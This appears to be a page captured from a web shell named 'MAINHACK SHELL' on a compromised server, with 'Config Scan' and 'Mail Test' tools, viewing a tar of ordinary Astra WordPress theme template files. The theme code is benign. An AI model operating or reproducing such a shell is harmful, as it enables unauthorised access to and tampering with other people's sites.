[
MAINHACK SHELL
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: template-parts.tar
404/404-layout.php 0000644 00000001601 15150055417 0007407 0 ustar 00 <?php /** * Template for 404 * * @package Astra * @author Astra * @copyright Copyright (c) 2020, Astra * @link https://wpastra.com/ * @since Astra 1.0.0 */ $astra_404_subtitle_tag = ( true === astra_check_is_structural_setup() ) ? 'h3' : 'div'; ?> <div <?php echo astra_attr( '404_page', array( 'class' => 'ast-404-layout-1' ) ); ?> > <?php astra_the_title( '<header class="page-header"><h1 class="page-title">', '</h1></header><!-- .page-header -->' ); ?> <div class="page-content"> <<?php echo esc_attr( $astra_404_subtitle_tag ); ?> class="page-sub-title"> <?php echo esc_html( astra_default_strings( 'string-404-sub-title', false ) ); ?> </<?php echo esc_attr( $astra_404_subtitle_tag ); ?>> <div class="ast-404-search"> <?php the_widget( 'WP_Widget_Search' ); ?> </div> </div><!-- .page-content --> </div> 404/index.php 0000644 00000000157 15150055417 0006701 0 ustar 00 <?php /** * Index file * * @package Astra * @since Astra 1.0.0 */ /* Silence is golden, and we agree. */ advanced-footer/layout-4.php 0000644 00000004204 15150055417 0011777 0 ustar 00 <?php /** * Footer Layout 4 * * @package Astra * @since Astra 1.0.12 */ /** * Hide advanced footer markup if: * * - User is not logged in. [AND] * - All widgets are not active. */ if ( ! is_user_logged_in() ) { if ( ! is_active_sidebar( 'advanced-footer-widget-1' ) && ! is_active_sidebar( 'advanced-footer-widget-2' ) && ! is_active_sidebar( 'advanced-footer-widget-3' ) && ! is_active_sidebar( 'advanced-footer-widget-4' ) ) { return; } } $astra_footer_classes = array(); $astra_footer_classes[] = 'footer-adv'; $astra_footer_classes[] = 'footer-adv-layout-4'; $astra_footer_classes = implode( ' ', $astra_footer_classes ); ?> <div class="<?php echo esc_attr( $astra_footer_classes ); ?>"> <div class="footer-adv-overlay"> <div class="ast-container"> <div class="ast-row"> <div class="<?php echo astra_attr( 'ast-layout-4-grid' ); ?> footer-adv-widget footer-adv-widget-1" <?php echo wp_kses_post( apply_filters( 'astra_sidebar_data_attrs', '', 'advanced-footer-widget-1' ) ); ?>> <?php astra_get_footer_widget( 'advanced-footer-widget-1' ); ?> </div> <div class="<?php echo astra_attr( 'ast-layout-4-grid' ); ?> footer-adv-widget footer-adv-widget-2" <?php echo wp_kses_post( apply_filters( 'astra_sidebar_data_attrs', '', 'advanced-footer-widget-2' ) ); ?>> <?php astra_get_footer_widget( 'advanced-footer-widget-2' ); ?> </div> <div class="<?php echo astra_attr( 'ast-layout-4-grid' ); ?> footer-adv-widget footer-adv-widget-3" <?php echo wp_kses_post( apply_filters( 'astra_sidebar_data_attrs', '', 'advanced-footer-widget-3' ) ); ?>> <?php astra_get_footer_widget( 'advanced-footer-widget-3' ); ?> </div> <div class="<?php echo astra_attr( 'ast-layout-4-grid' ); ?> footer-adv-widget footer-adv-widget-4" <?php echo wp_kses_post( apply_filters( 'astra_sidebar_data_attrs', '', 'advanced-footer-widget-4' ) ); ?>> <?php astra_get_footer_widget( 'advanced-footer-widget-4' ); ?> </div> </div><!-- .ast-row --> </div><!-- .ast-container --> </div><!-- .footer-adv-overlay--> </div><!-- .ast-theme-footer .footer-adv-layout-4 --> blog/blog-layout-4.php 0000644 00000002004 15150055417 0010576 0 ustar 00 <?php /** * Template for Blog * * @package Astra * @author Astra * @copyright Copyright (c) 2023, Astra * @link https://wpastra.com/ * @since Astra 4.6.0 */ ?> <div <?php astra_blog_layout_class( 'blog-layout-4' ); ?>> <div class="post-content <?php echo astra_attr( 'ast-grid-common-col' ); ?>" > <?php astra_blog_post_thumbnail_and_title_order(); ?> <div class="entry-content clear" <?php echo astra_attr( 'article-entry-content-blog-layout', array( 'class' => '', ) ); ?> > <?php astra_entry_content_before(); astra_entry_content_after(); wp_link_pages( array( 'before' => '<div class="page-links">' . esc_html( astra_default_strings( 'string-blog-page-links-before', false ) ), 'after' => '</div>', 'link_before' => '<span class="page-link">', 'link_after' => '</span>', ) ); ?> </div><!-- .entry-content .clear --> </div><!-- .post-content --> </div> <!-- .blog-layout-4 --> blog/blog-layout-5.php 0000644 00000003432 15150055417 0010605 0 ustar 00 <?php /** * Blog Pro - Blog Layout 5 Template * * @todo Update this template for Default Blog Style * * @package Astra Addon */ $blog_structure_order = astra_get_option( 'blog-post-structure', array() ); ?> <div <?php astra_blog_layout_class( 'blog-layout-5' ); ?>> <?php $astra_addon_blog_featured_image = apply_filters( 'astra_featured_image_enabled', true ); ?> <?php if ( $astra_addon_blog_featured_image && in_array( 'image', $blog_structure_order ) ) : ?> <?php // Blog Post Featured Image. astra_get_post_thumbnail( '<div class="ast-blog-featured-section post-thumb ' . esc_html( apply_filters( 'astra_attr_ast-grid-col-6_output', 'ast-grid-col-6' ) ) . '">', '</div>' ); ?> <?php endif; ?> <div class="post-content <?php echo esc_html( apply_filters( 'astra_attr_ast-grid-col-6_output', 'ast-grid-col-6' ) ); ?>"> <?php /** @psalm-suppress TooManyArguments */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort astra_blog_post_thumbnail_and_title_order( array( 'image' ) ); /** @psalm-suppress TooManyArguments */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort ?> <div class="entry-content clear" <?php echo wp_kses_post( astra_attr( 'article-entry-content-blog-layout-3', array( 'class' => '', ) ) ); ?> > <?php astra_entry_content_before(); ?> <?php astra_entry_content_after(); ?> <?php wp_link_pages( array( 'before' => '<div class="page-links">' . esc_html( astra_default_strings( 'string-blog-page-links-before', false ) ), 'after' => '</div>', 'link_before' => '<span class="page-link">', 'link_after' => '</span>', ) ); ?> </div><!-- .entry-content .clear --> </div><!-- .post-content --> </div> <!-- .blog-layout-5 --> blog/blog-layout-6.php 0000644 00000002015 15150055417 0010602 0 ustar 00 <?php /** * Template for Blog Layout 6 * * @package Astra * @author Astra * @copyright Copyright (c) 2023, Astra * @link https://wpastra.com/ * @since Astra 4.6.0 */ ?> <div <?php astra_blog_layout_class( 'blog-layout-6' ); ?>> <div class="post-content <?php echo astra_attr( 'ast-grid-common-col' ); ?>" > <?php astra_blog_post_thumbnail_and_title_order(); ?> <div class="entry-content clear" <?php echo astra_attr( 'article-entry-content-blog-layout', array( 'class' => '', ) ); ?> > <?php astra_entry_content_before(); astra_entry_content_after(); wp_link_pages( array( 'before' => '<div class="page-links">' . esc_html( astra_default_strings( 'string-blog-page-links-before', false ) ), 'after' => '</div>', 'link_before' => '<span class="page-link">', 'link_after' => '</span>', ) ); ?> </div><!-- .entry-content .clear --> </div><!-- .post-content --> </div> <!-- .blog-layout-6 --> blog/blog-layout.php 0000644 00000002055 15150055417 0010443 0 ustar 00 <?php /** * Template for Blog * * @package Astra * @author Astra * @copyright Copyright (c) 2020, Astra * @link https://wpastra.com/ * @since Astra 1.0.0 */ ?> <div <?php astra_blog_layout_class( 'blog-layout-1' ); ?>> <div class="post-content <?php echo astra_attr( 'ast-grid-common-col' ); ?>" > <?php astra_blog_post_thumbnail_and_title_order(); ?> <div class="entry-content clear" <?php echo astra_attr( 'article-entry-content-blog-layout', array( 'class' => '', ) ); ?> > <?php astra_entry_content_before(); astra_entry_content_after(); wp_link_pages( array( 'before' => '<div class="page-links">' . esc_html( astra_default_strings( 'string-blog-page-links-before', false ) ), 'after' => '</div>', 'link_before' => '<span class="page-link">', 'link_after' => '</span>', ) ); ?> </div><!-- .entry-content .clear --> </div><!-- .post-content --> </div> <!-- .blog-layout-1 --> blog/index.php 0000644 00000000157 15150055417 0007315 0 ustar 00 <?php /** * Index file * * @package Astra * @since Astra 1.0.0 */ /* Silence is golden, and we agree. */ footer/builder/components.php 0000644 00000007532 15150055417 0012400 0 ustar 00 <?php /** * Template part for displaying the footer component. * * @package Astra */ $astra_component_slug = get_query_var( 'type' ); if ( astra_wp_version_compare( '5.4.99', '>=' ) ) { $astra_component_slug = wp_parse_args( $args, array( 'type' => '' ) ); $astra_component_slug = isset( $astra_component_slug['type'] ) ? $astra_component_slug['type'] : ''; } switch ( $astra_component_slug ) { case 'copyright': ?> <div class="ast-builder-layout-element ast-flex site-footer-focus-item ast-footer-copyright" data-section="section-footer-builder"> <?php do_action( 'astra_footer_copyright' ); ?> </div> <?php break; case 'social-icons-1': ?> <div class="ast-builder-layout-element ast-flex site-footer-focus-item" data-section="section-fb-social-icons-1"> <?php do_action( 'astra_footer_social_1' ); ?> </div> <?php break; case 'widget-1': ?> <aside <?php echo astra_attr( 'footer-widget-area-inner', array( 'class' => 'footer-widget-area widget-area site-footer-focus-item', 'data-section' => 'sidebar-widgets-footer-widget-1', 'aria-label' => 'Footer Widget 1', ) ); ?> > <?php astra_markup_open( 'footer-widget-div' ); astra_get_sidebar( 'footer-widget-1' ); astra_markup_close( 'footer-widget-div' ); ?> </aside> <?php break; case 'widget-2': ?> <aside <?php echo astra_attr( 'footer-widget-area-inner', array( 'class' => 'footer-widget-area widget-area site-footer-focus-item', 'data-section' => 'sidebar-widgets-footer-widget-2', 'aria-label' => 'Footer Widget 2', ) ); ?> > <?php astra_markup_open( 'footer-widget-div' ); astra_get_sidebar( 'footer-widget-2' ); astra_markup_close( 'footer-widget-div' ); ?> </aside> <?php break; case 'widget-3': ?> <aside <?php echo astra_attr( 'footer-widget-area-inner', array( 'class' => 'footer-widget-area widget-area site-footer-focus-item', 'data-section' => 'sidebar-widgets-footer-widget-3', 'aria-label' => 'Footer Widget 3', ) ); ?> > <?php astra_markup_open( 'footer-widget-div' ); astra_get_sidebar( 'footer-widget-3' ); astra_markup_close( 'footer-widget-div' ); ?> </aside> <?php break; case 'widget-4': ?> <aside <?php echo astra_attr( 'footer-widget-area-inner', array( 'class' => 'footer-widget-area widget-area site-footer-focus-item', 'data-section' => 'sidebar-widgets-footer-widget-4', 'aria-label' => 'Footer Widget 4', ) ); ?> > <?php astra_markup_open( 'footer-widget-div' ); astra_get_sidebar( 'footer-widget-4' ); astra_markup_close( 'footer-widget-div' ); ?> </aside> <?php break; case 'html-1': ?> <div class="footer-widget-area widget-area site-footer-focus-item ast-footer-html-1" data-section="section-fb-html-1"> <?php do_action( 'astra_footer_html_1' ); ?> </div> <?php break; case 'html-2': ?> <div class="footer-widget-area widget-area site-footer-focus-item ast-footer-html-2" data-section="section-fb-html-2"> <?php do_action( 'astra_footer_html_2' ); ?> </div> <?php break; case 'menu': ?> <div class="footer-widget-area widget-area site-footer-focus-item" data-section="section-footer-menu"> <?php do_action( 'astra_footer_menu' ); ?> </div> <?php break; case 'divider-1': $astra_fb_divider_layout_class = astra_get_option( 'footer-divider-1-layout' ); ?> <div class="footer-widget-area widget-area ast-flex site-footer-focus-item ast-footer-divider-element ast-footer-divider-1 ast-fb-divider-layout-<?php echo esc_attr( $astra_fb_divider_layout_class ); ?>" data-section="section-fb-divider-1"> <?php do_action( 'astra_footer_divider_1' ); ?> </div> <?php break; default: do_action( 'astra_render_footer_components', $astra_component_slug ); break; } ?> footer/builder/desktop-builder-layout.php 0000644 00000001223 15150055417 0014612 0 ustar 00 <?php /** * Template part for displaying the footer info. * * @link https://codex.wordpress.org/Template_Hierarchy * * @package Astra * @since 1.0.0 */ ?> <footer <?php echo astra_attr( 'footer', array( 'id' => 'colophon', 'class' => join( ' ', astra_get_footer_classes() ), ) ); ?> > <?php astra_footer_content_top(); ?> <?php /** * Astra Top footer */ do_action( 'astra_above_footer' ); /** * Astra Middle footer */ do_action( 'astra_primary_footer' ); /** * Astra Bottom footer */ do_action( 'astra_below_footer' ); ?> <?php astra_footer_content_bottom(); ?> </footer><!-- #colophon --> footer/builder/footer-row.php 0000644 00000006636 15150055417 0012322 0 ustar 00 <?php /** * Template part for displaying the a row of the footer * * @package Astra Builder */ $astra_footer_row = get_query_var( 'row' ); if ( astra_wp_version_compare( '5.4.99', '>=' ) ) { $astra_footer_row = wp_parse_args( $args, array( 'row' => '' ) ); $astra_footer_row = isset( $astra_footer_row['row'] ) ? $astra_footer_row['row'] : ''; } if ( Astra_Builder_Helper::is_footer_row_empty( $astra_footer_row ) ) { $astra_footer_row_option = ( 'above' === $astra_footer_row ) ? 'hba' : ( ( 'below' === $astra_footer_row ) ? 'hbb' : 'hb' ); $astra_footer_columns = astra_get_option( $astra_footer_row_option . '-footer-column' ); $astra_footer_layout = astra_get_option( $astra_footer_row_option . '-footer-layout' ); $astra_row_stack_layout = astra_get_option( $astra_footer_row_option . '-stack' ); $astra_row_desk_layout = ( isset( $astra_footer_layout['desktop'] ) ) ? $astra_footer_layout['desktop'] : 'full'; $astra_tab_layout = ( isset( $astra_footer_layout['tablet'] ) ) ? $astra_footer_layout['tablet'] : 'full'; $astra_mob_layout = ( isset( $astra_footer_layout['mobile'] ) ) ? $astra_footer_layout['mobile'] : 'full'; $astra_desk_stack_layout = ( isset( $astra_row_stack_layout['desktop'] ) ) ? $astra_row_stack_layout['desktop'] : 'stack'; $astra_tab_stack_layout = ( isset( $astra_row_stack_layout['tablet'] ) ) ? $astra_row_stack_layout['tablet'] : 'stack'; $astra_mob_stack_layout = ( isset( $astra_row_stack_layout['mobile'] ) ) ? $astra_row_stack_layout['mobile'] : 'stack'; $astra_footer_row_classes = array( 'site-' . esc_attr( $astra_footer_row ) . '-footer-wrap', 'ast-builder-grid-row-container', 'site-footer-focus-item', 'ast-builder-grid-row-' . esc_attr( $astra_row_desk_layout ), 'ast-builder-grid-row-tablet-' . esc_attr( $astra_tab_layout ), 'ast-builder-grid-row-mobile-' . esc_attr( $astra_mob_layout ), 'ast-footer-row-' . esc_attr( $astra_desk_stack_layout ), 'ast-footer-row-tablet-' . esc_attr( $astra_tab_stack_layout ), 'ast-footer-row-mobile-' . esc_attr( $astra_mob_stack_layout ), ); ?> <div class="<?php echo esc_attr( implode( ' ', $astra_footer_row_classes ) ); ?>" data-section="section-<?php echo esc_attr( $astra_footer_row ); ?>-footer-builder"> <div class="ast-builder-grid-row-container-inner"> <?php if ( is_customize_preview() ) { Astra_Builder_UI_Controller::render_grid_row_customizer_edit_button( 'Footer', $astra_footer_row ); } /** * Astra Render before Site container of Footer. */ do_action( "astra_footer_{$astra_footer_row}_container_before" ); ?> <div class="ast-builder-footer-grid-columns site-<?php echo esc_attr( $astra_footer_row ); ?>-footer-inner-wrap ast-builder-grid-row"> <?php for ( $astra_builder_zones = 1; $astra_builder_zones <= Astra_Builder_Helper::$num_of_footer_columns; $astra_builder_zones++ ) { ?> <?php if ( $astra_builder_zones > $astra_footer_columns ) { break; } ?> <div class="site-footer-<?php echo esc_attr( $astra_footer_row ); ?>-section-<?php echo absint( $astra_builder_zones ); ?> site-footer-section site-footer-section-<?php echo absint( $astra_builder_zones ); ?>"> <?php do_action( 'astra_render_footer_column', $astra_footer_row, $astra_builder_zones ); ?> </div> <?php } ?> </div> <?php /** * Astra Render before Site container of Footer. */ do_action( "astra_footer_{$astra_footer_row}_container_after" ); ?> </div> </div> <?php } ?> footer/footer-sml-layout-2.php 0000644 00000003623 15150055417 0012323 0 ustar 00 <?php /** * Template for Small Footer Layout 2 * * @package Astra * @author Astra * @copyright Copyright (c) 2020, Astra * @link https://wpastra.com/ * @since Astra 1.0.0 */ $astra_footer_section_1 = astra_get_small_footer( 'footer-sml-section-1' ); $astra_footer_section_2 = astra_get_small_footer( 'footer-sml-section-2' ); $astra_footer_sections = 0; if ( '' != $astra_footer_section_1 ) { $astra_footer_sections++; } if ( '' != $astra_footer_section_2 ) { $astra_footer_sections++; } switch ( $astra_footer_sections ) { case '2': $astra_footer_section_class = 'ast-small-footer-section-equally ' . astra_attr( 'ast-grid-col-6' ); break; case '1': default: $astra_footer_section_class = 'ast-small-footer-section-equally ' . astra_attr( 'ast-grid-common-col' ); break; } ?> <div class="ast-small-footer footer-sml-layout-2"> <div class="ast-footer-overlay"> <div class="ast-container"> <div class="ast-small-footer-wrap" > <div class="ast-row ast-flex"> <?php if ( $astra_footer_section_1 ) : ?> <div class="ast-small-footer-section ast-small-footer-section-1 <?php echo esc_attr( $astra_footer_section_class ); ?>" > <?php echo $astra_footer_section_1; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?> </div> <?php endif; ?> <?php if ( $astra_footer_section_2 ) : ?> <div class="ast-small-footer-section ast-small-footer-section-2 <?php echo esc_attr( $astra_footer_section_class ); ?>" > <?php echo $astra_footer_section_2; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?> </div> <?php endif; ?> </div> <!-- .ast-row.ast-flex --> </div><!-- .ast-small-footer-wrap --> </div><!-- .ast-container --> </div><!-- .ast-footer-overlay --> </div><!-- .ast-small-footer--> footer/footer-sml-layout.php 0000644 00000002351 15150055417 0012161 0 ustar 00 <?php /** * Template for Small Footer Layout 1 * * @package Astra * @author Astra * @copyright Copyright (c) 2020, Astra * @link https://wpastra.com/ * @since Astra 1.0.0 */ $astra_footer_section_1 = astra_get_small_footer( 'footer-sml-section-1' ); $astra_footer_section_2 = astra_get_small_footer( 'footer-sml-section-2' ); ?> <div class="ast-small-footer footer-sml-layout-1"> <div class="ast-footer-overlay"> <div class="ast-container"> <div class="ast-small-footer-wrap" > <?php if ( $astra_footer_section_1 ) : ?> <div class="ast-small-footer-section ast-small-footer-section-1" > <?php echo $astra_footer_section_1; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?> </div> <?php endif; ?> <?php if ( $astra_footer_section_2 ) : ?> <div class="ast-small-footer-section ast-small-footer-section-2" > <?php echo $astra_footer_section_2; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?> </div> <?php endif; ?> </div><!-- .ast-row .ast-small-footer-wrap --> </div><!-- .ast-container --> </div><!-- .ast-footer-overlay --> </div><!-- .ast-small-footer--> footer/index.php 0000644 00000000157 15150055417 0007670 0 ustar 00 <?php /** * Index file * * @package Astra * @since Astra 1.0.0 */ /* Silence is golden, and we agree. */ header/builder/components.php 0000644 00000012436 15150055417 0012331 0 ustar 00 <?php /** * Template part for header component. * * @package Astra */ $astra_header_component_args = array(); $astra_header_component_slug = get_query_var( 'type' ); if ( astra_wp_version_compare( '5.4.99', '>=' ) ) { $astra_header_component_args = wp_parse_args( $args, array( 'type' => '', 'device' => '', ) ); $astra_header_component_slug = isset( $astra_header_component_args['type'] ) ? $astra_header_component_args['type'] : ''; } $astra_active_device = isset( $astra_header_component_args['device'] ) ? $astra_header_component_args['device'] : ''; switch ( $astra_header_component_slug ) { case 'logo': ?> <div class="ast-builder-layout-element ast-flex site-header-focus-item" data-section="title_tagline"> <?php do_action( 'astra_site_identity', $astra_active_device ); ?> </div> <?php break; case 'button-1': ?> <div class="ast-builder-layout-element ast-flex site-header-focus-item ast-header-button-1" data-section="section-hb-button-1"> <?php do_action( 'astra_header_button_1' ); ?> </div> <?php break; case 'menu-1': ?> <div class="ast-builder-menu-1 ast-builder-menu ast-flex ast-builder-menu-1-focus-item ast-builder-layout-element site-header-focus-item" data-section="section-hb-menu-1"> <?php do_action( 'astra_header_menu_1', $astra_active_device ); ?> </div> <?php break; case 'menu-2': ?> <div class="ast-builder-menu-2 ast-builder-menu ast-flex ast-builder-menu-2-focus-item ast-builder-layout-element site-header-focus-item" data-section="section-hb-menu-2"> <?php do_action( 'astra_header_menu_2', $astra_active_device ); ?> </div> <?php break; case 'mobile-menu': ?> <div class="ast-builder-menu-mobile ast-builder-menu ast-builder-menu-mobile-focus-item ast-builder-layout-element site-header-focus-item" data-section="section-header-mobile-menu"> <?php do_action( 'astra_header_menu_mobile', $astra_active_device ); ?> </div> <?php break; case 'html-1': ?> <div class="ast-builder-layout-element ast-flex site-header-focus-item ast-header-html-1" data-section="section-hb-html-1"> <?php do_action( 'astra_header_html_1' ); ?> </div> <?php break; case 'html-2': ?> <div class="ast-builder-layout-element ast-flex site-header-focus-item ast-header-html-2" data-section="section-hb-html-2"> <?php do_action( 'astra_header_html_2' ); ?> </div> <?php break; case 'search': ?> <div class="ast-builder-layout-element ast-flex site-header-focus-item ast-header-search" data-section="section-header-search"> <?php do_action( 'astra_header_search', $args['device'] ); ?> </div> <?php break; case 'social-icons-1': ?> <div class="ast-builder-layout-element ast-flex site-header-focus-item" data-section="section-hb-social-icons-1"> <?php do_action( 'astra_header_social_1' ); ?> </div> <?php break; case 'mobile-trigger': if ( 'desktop' === $astra_active_device && ! defined( 'ASTRA_EXT_VER' ) ) { break; } ?> <div class="ast-builder-layout-element ast-flex site-header-focus-item" data-section="section-header-mobile-trigger"> <?php do_action( 'astra_header_mobile_trigger' ); ?> </div> <?php break; case 'account': ?> <div class="ast-builder-layout-element site-header-focus-item ast-header-account" data-section="section-header-account"> <?php do_action( 'astra_header_account' ); ?> </div> <?php break; case 'woo-cart': if ( class_exists( 'Astra_Woocommerce' ) ) { ?> <div class="ast-builder-layout-element site-header-focus-item ast-header-woo-cart" data-section="section-header-woo-cart"> <?php do_action( 'astra_header_woo_cart' ); ?> </div> <?php } break; case 'edd-cart': if ( class_exists( 'Easy_Digital_Downloads' ) ) { ?> <div class="ast-builder-layout-element site-header-focus-item ast-header-edd-cart" data-section="section-header-edd-cart"> <?php do_action( 'astra_header_edd_cart' ); ?> </div> <?php } break; case 'widget-1': ?> <aside <?php echo astra_attr( 'header-widget-area-inner', array( 'class' => 'header-widget-area widget-area site-header-focus-item', 'data-section' => 'sidebar-widgets-header-widget-1', 'aria-label' => 'Header Widget 1', ) ); ?> > <?php if ( is_customize_preview() && class_exists( 'Astra_Builder_UI_Controller' ) ) { Astra_Builder_UI_Controller::render_customizer_edit_button(); } ?> <?php astra_markup_open( 'header-widget-div' ); astra_get_sidebar( 'header-widget-1' ); astra_markup_close( 'header-widget-div' ); ?> </aside> <?php break; case 'widget-2': ?> <aside <?php echo astra_attr( 'header-widget-area-inner', array( 'class' => 'header-widget-area widget-area site-header-focus-item', 'data-section' => 'sidebar-widgets-header-widget-2', 'aria-label' => 'Header Widget 2', ) ); ?> > <?php if ( is_customize_preview() && class_exists( 'Astra_Builder_UI_Controller' ) ) { Astra_Builder_UI_Controller::render_customizer_edit_button(); } ?> <?php astra_markup_open( 'header-widget-div' ); astra_get_sidebar( 'header-widget-2' ); astra_markup_close( 'header-widget-div' ); ?> </aside> <?php break; default: do_action( 'astra_render_header_components', $astra_header_component_slug, $astra_active_device ); break; } ?> header/builder/desktop-builder-layout.php 0000644 00000002431 15150055417 0014546 0 ustar 00 <?php /** * Template part for displaying header row. * * @package Astra Builder */ $astra_mobile_header_type = astra_get_option( 'mobile-header-type' ); if ( 'full-width' === $astra_mobile_header_type ) { $astra_mobile_header_type = 'off-canvas'; } ?> <div id="ast-desktop-header" data-toggle-type="<?php echo esc_attr( $astra_mobile_header_type ); ?>"> <?php astra_main_header_bar_top(); /** * Astra Top Header */ do_action( 'astra_above_header' ); /** * Astra Main Header */ do_action( 'astra_primary_header' ); /** * Astra Bottom Header */ do_action( 'astra_below_header' ); astra_main_header_bar_bottom(); ?> <?php if ( ( 'dropdown' === $astra_mobile_header_type && Astra_Builder_Helper::is_component_loaded( 'mobile-trigger', 'header' ) ) || is_customize_preview() ) { $astra_content_alignment = astra_get_option( 'header-offcanvas-content-alignment', 'flex-start' ); $astra_alignment_class = 'content-align-' . $astra_content_alignment . ' '; ?> <div class="ast-desktop-header-content <?php echo esc_attr( $astra_alignment_class ); ?>"> <?php do_action( 'astra_desktop_header_content', 'popup', 'content' ); ?> </div> <?php } ?> </div> <!-- Main Header Bar Wrap --> <?php /** * Astra Mobile Header */ do_action( 'astra_mobile_header' ); ?> header/builder/header-row.php 0000644 00000010345 15150055417 0012176 0 ustar 00 <?php /** * Template part for displaying the a row of the header * * @package Astra Builder */ $astra_header_row = get_query_var( 'row' ); if ( astra_wp_version_compare( '5.4.99', '>=' ) ) { $astra_header_row = wp_parse_args( $args, array( 'row' => '' ) ); $astra_header_row = isset( $astra_header_row['row'] ) ? $astra_header_row['row'] : ''; } if ( Astra_Builder_Helper::is_row_empty( $astra_header_row, 'header', 'desktop' ) ) { $astra_customizer_editor_row = 'section-' . esc_attr( $astra_header_row ) . '-header-builder'; $astra_row_label = ( 'primary' === $astra_header_row ) ? 'main' : $astra_header_row; ?> <div class="ast-<?php echo esc_attr( $astra_row_label ); ?>-header-wrap <?php echo 'primary' === $astra_header_row ? 'main-header-bar-wrap' : ''; ?> "> <div class="<?php echo esc_attr( 'ast-' . $astra_header_row . '-header-bar ast-' . $astra_header_row . '-header' ); ?> <?php echo 'primary' === $astra_header_row ? 'main-header-bar' : ''; ?> site-header-focus-item" data-section="<?php echo esc_attr( $astra_customizer_editor_row ); ?>"> <?php if ( is_customize_preview() ) { Astra_Builder_UI_Controller::render_grid_row_customizer_edit_button( 'Header', $astra_header_row ); } /** * Astra Render before Site Content. */ do_action( "astra_header_{$astra_header_row}_container_before" ); ?> <div class="site-<?php echo esc_attr( $astra_header_row ); ?>-header-wrap ast-builder-grid-row-container site-header-focus-item ast-container" data-section="<?php echo esc_attr( $astra_customizer_editor_row ); ?>"> <div class="ast-builder-grid-row <?php echo Astra_Builder_Helper::has_side_columns( $astra_header_row ) ? 'ast-builder-grid-row-has-sides' : 'ast-grid-center-col-layout-only ast-flex'; ?> <?php echo Astra_Builder_Helper::has_center_column( $astra_header_row ) ? 'ast-grid-center-col-layout' : 'ast-builder-grid-row-no-center'; ?>"> <?php if ( Astra_Builder_Helper::has_side_columns( $astra_header_row ) ) { ?> <div class="site-header-<?php echo esc_attr( $astra_header_row ); ?>-section-left site-header-section ast-flex site-header-section-left"> <?php /** * Astra Render Header Column */ do_action( 'astra_render_header_column', $astra_header_row, 'left' ); if ( Astra_Builder_Helper::has_center_column( $astra_header_row ) ) { ?> <div class="site-header-<?php echo esc_attr( $astra_header_row ); ?>-section-left-center site-header-section ast-flex ast-grid-left-center-section"> <?php /** * Astra Render Header Column */ do_action( 'astra_render_header_column', $astra_header_row, 'left_center' ); ?> </div> <?php } ?> </div> <?php } ?> <?php if ( Astra_Builder_Helper::has_center_column( $astra_header_row ) ) { ?> <div class="site-header-<?php echo esc_attr( $astra_header_row ); ?>-section-center site-header-section ast-flex ast-grid-section-center"> <?php /** * Astra Render Header Column */ do_action( 'astra_render_header_column', $astra_header_row, 'center' ); ?> </div> <?php } ?> <?php if ( Astra_Builder_Helper::has_side_columns( $astra_header_row ) ) { ?> <div class="site-header-<?php echo esc_attr( $astra_header_row ); ?>-section-right site-header-section ast-flex ast-grid-right-section"> <?php if ( Astra_Builder_Helper::has_center_column( $astra_header_row ) ) { ?> <div class="site-header-<?php echo esc_attr( $astra_header_row ); ?>-section-right-center site-header-section ast-flex ast-grid-right-center-section"> <?php /** * Astra Render Header Column */ do_action( 'astra_render_header_column', $astra_header_row, 'right_center' ); ?> </div> <?php } /** * Astra Render Header Column */ do_action( 'astra_render_header_column', $astra_header_row, 'right' ); ?> </div> <?php } ?> </div> </div> <?php /** * Astra Render after Site Content. */ do_action( "astra_header_{$astra_header_row}_container_after" ); ?> </div> </div> <?php } header/builder/mobile-builder-layout.php 0000644 00000002406 15150055417 0014346 0 ustar 00 <?php /** * Template part for displaying the Mobile Header * * @package Astra Builder */ $astra_mobile_header_type = astra_get_option( 'mobile-header-type' ); if ( 'full-width' === $astra_mobile_header_type ) { $astra_mobile_header_type = 'off-canvas'; } ?> <div id="ast-mobile-header" class="ast-mobile-header-wrap " data-type="<?php echo esc_attr( $astra_mobile_header_type ); ?>"> <?php do_action( 'astra_mobile_header_bar_top' ); /** * Astra Top Header */ do_action( 'astra_mobile_above_header' ); /** * Astra Main Header */ do_action( 'astra_mobile_primary_header' ); /** * Astra Mobile Bottom Header */ do_action( 'astra_mobile_below_header' ); astra_main_header_bar_bottom(); ?> <?php if ( ( 'dropdown' === astra_get_option( 'mobile-header-type' ) && Astra_Builder_Helper::is_component_loaded( 'mobile-trigger', 'header' ) ) || is_customize_preview() ) { $astra_content_alignment = astra_get_option( 'header-offcanvas-content-alignment', 'flex-start' ); $astra_alignment_class = 'content-align-' . $astra_content_alignment . ' '; ?> <div class="ast-mobile-header-content <?php echo esc_attr( $astra_alignment_class ); ?>"> <?php do_action( 'astra_mobile_header_content', 'popup', 'content' ); ?> </div> <?php } ?> </div> header/builder/mobile-header-row.php 0000644 00000007517 15150055417 0013452 0 ustar 00 <?php /** * Template part for displaying a row of the mobile header * * @package Astra Builder */ $astra_row = get_query_var( 'row' ); if ( astra_wp_version_compare( '5.4.99', '>=' ) ) { $astra_row = wp_parse_args( $args, array( 'row' => '' ) ); $astra_row = isset( $astra_row['row'] ) ? $astra_row['row'] : ''; } if ( Astra_Builder_Helper::is_row_empty( $astra_row, 'header', 'mobile' ) ) { $astra_customizer_editor_row = 'section-' . esc_attr( $astra_row ) . '-header-builder'; $astra_is_transparent_header_enable = astra_get_option( 'transparent-header-enable' ); if ( 'primary' === $astra_row && $astra_is_transparent_header_enable ) { $astra_customizer_editor_row = 'section-transparent-header'; } $astra_row_label = ( 'primary' === $astra_row ) ? 'main' : $astra_row; ?> <div class="ast-<?php echo esc_attr( $astra_row_label ); ?>-header-wrap <?php echo 'primary' === $astra_row ? 'main-header-bar-wrap' : ''; ?>" > <div class="<?php echo esc_attr( 'ast-' . $astra_row . '-header-bar ast-' . $astra_row . '-header ' ); ?><?php echo 'primary' === $astra_row ? 'main-header-bar ' : ''; ?>site-<?php echo esc_attr( $astra_row ); ?>-header-wrap site-header-focus-item ast-builder-grid-row-layout-default ast-builder-grid-row-tablet-layout-default ast-builder-grid-row-mobile-layout-default" data-section="<?php echo esc_attr( $astra_customizer_editor_row ); ?>"> <?php if ( is_customize_preview() ) { Astra_Builder_UI_Controller::render_grid_row_customizer_edit_button( 'Header', $astra_row ); } /** * Astra Render before Site Content. */ do_action( "astra_header_{$astra_row}_container_before" ); ?> <div 